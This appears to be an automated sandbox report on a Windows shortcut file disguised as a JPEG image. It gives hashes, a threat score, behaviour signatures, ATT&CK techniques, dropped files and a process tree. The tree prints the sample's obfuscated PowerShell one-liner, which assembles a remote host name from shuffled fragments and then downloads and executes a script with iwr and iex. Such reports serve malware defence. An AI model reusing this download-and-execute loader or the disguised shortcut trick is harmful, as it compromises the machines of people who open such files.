8b18981fd23e181553ea4946a9869787721de6de56b03d588b6c3afe8bc3fe1a

Analysis

max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_041047.jpg.lnk
Size 1KB
Sample260728-mcaeaathre
SHA256 8b18981fd23e181553ea4946a9869787721de6de56b03d588b6c3afe8bc3fe1a
MD5 6a3daee1a7b29d90b43bd384c1b085f3
SHA1 ff9cd6b7ae43d35a524c1b12e9c19085d4f0fe2f
SHA512 bd607b885c75e72ffddd3febd3c27d1fce07a2e60200402db09592c524bd9e7abbb046f59112ffe8b9a6e79f46c8d29b49d9f0a11213f0e27664ff18b84267dc
TLSH
T1BE31D2299BF20329D6BB8B395877631197217B0EDA4C8FDF1280C1949965121FC78F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	3708	powershell.exe
11	3708	powershell.exe
16	3708	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4692	cmd.exe

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3708	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4692 wrote to memory of 3708	4692	cmd.exe	89
PID 3708 wrote to memory of 2472	3708	powershell.exe	90
PID 2472 wrote to memory of 2092	2472	csc.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_041047.jpg.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('oto','t','hop','ph','re','i','aynow.s','ser','ns','v')[4,7,9,3,0,5,8,1,6,2] -join $ml388mmZ) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3708
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bjodxbil\bjodxbil.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2472
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5733.tmp" "c:\Users\Admin\AppData\Local\Temp\bjodxbil\CSC953F1455B1354EE69EA7490B2D4F39A.TMP"
      4⤵
      PID:2092

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES5733.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5733.tmp
Size 1KB
SHA256 41474c8f6e19b11b317535062b4dd71e5ee0a4e3122ab42f340be9bff3b099d8
MD5 a16c791893052702e094dc5c05aa67fc
SHA1 382f80eee2448c805eda13ba7f2040cff326638a
SHA512 69d13384016eec1e990ad1d2d94e1677d3eb9fd52f8ff86ffffdedcc3e3b3ce18c93f35c1e24032327e54091c1f2d1e62ff6e8df89dd1880d27f6747c5d43b1c
TLSH
T132218C0583E94B1AF0B7473169F6076FA235FDA4EFA1536B8440412C2C51214EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_p5qzzaei.ngx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p5qzzaei.ngx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

bjodxbil.dll

Path C:\Users\Admin\AppData\Local\Temp\bjodxbil\bjodxbil.dll
Size 3KB
SHA256 e4b964cb55308921acc72452d9555051a5c1927bf7e1ac1e99ed92b13a59ade0
MD5 c0d3ca7acfe34bcefe0800d49d69a036
SHA1 c1cab351a8ed562e023cd488881d450e014a5fe7
SHA512 69de3f6feb709f4e992208f365ec6d7b2d826a762e34beb7ab7a93ff640d012b65e2859fc10cf9ecfa3504cdc4e9df4d490f0a7fc37fe99f1509f6b834fa419d
TLSH
T1F651CA1693E8062BE4B70731AFE307AB37B5FC209FB2576919800229AC60B545E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC953F1455B1354EE69EA7490B2D4F39A.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\bjodxbil\CSC953F1455B1354EE69EA7490B2D4F39A.TMP
Size 652B
SHA256 41c585220b54e24a813e62da76bc7c47977ad0d86fa2aaa9f171f32f7a62ce9e
MD5 087f69cf5219c7548e92ffc824fabf65
SHA1 8b54a1b91db27cd9fe6bfd2f0efec13eb24f884e
SHA512 de92f8651162e11b4529534f168ddb8f432443d8768ee261d4b4ac326084325abb41fc83707f89badd048526c9aa570c53b8977dbf5433035458b8434b593f29
TLSH
T199F05E0963F8020EF0F34B31BEF643A391A9BC65EE3293ED1490431D2C646208972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

bjodxbil.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\bjodxbil\bjodxbil.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

bjodxbil.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\bjodxbil\bjodxbil.cmdline
Size 369B
SHA256 942d77c46f3925297658b30d997f70f2925bcbb27fc4fc19b602627ce17c5873
MD5 23f37e3246969a2518a4a681bff6ab8b
SHA1 a35b1fbf60c17d11ff29431b0ddff7bdba5b497e
SHA512 597bd9808e258db612a0531b81057fed5006473413d4f7e9a665112db22b9cbd0f2b4a47f407b9ccdded772e2c1f881981b158b87f582f1a68dd128ea9a43512
TLSH
T1CFE0C0AA4256C37D11DF1507256AD4ACC2730B532A517FC85044440FD01B0022FE1B59
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3708-3-0x00000138EFC20000-0x00000138EFC30000-memory.dmp

Download

memory/3708-11-0x00000138EFBE0000-0x00000138EFC02000-memory.dmp

Download

memory/3708-2-0x00000138EFC20000-0x00000138EFC30000-memory.dmp

Download

memory/3708-24-0x00000138D7950000-0x00000138D7958000-memory.dmp

Download

memory/3708-25-0x00000138EFC20000-0x00000138EFC30000-memory.dmp

Download

memory/3708-26-0x00000138EFC20000-0x00000138EFC30000-memory.dmp

Download

memory/3708-27-0x00000138EFC20000-0x00000138EFC30000-memory.dmp

Download

memory/3708-28-0x00000138F1EA0000-0x00000138F1FEE000-memory.dmp

Download

memory/3708-29-0x00000138EFC20000-0x00000138EFC30000-memory.dmp

Download

memory/3708-31-0x00000138F1EA0000-0x00000138F1FEE000-memory.dmp

Download

memory/3708-35-0x00000138F1EA0000-0x00000138F1FEE000-memory.dmp

Download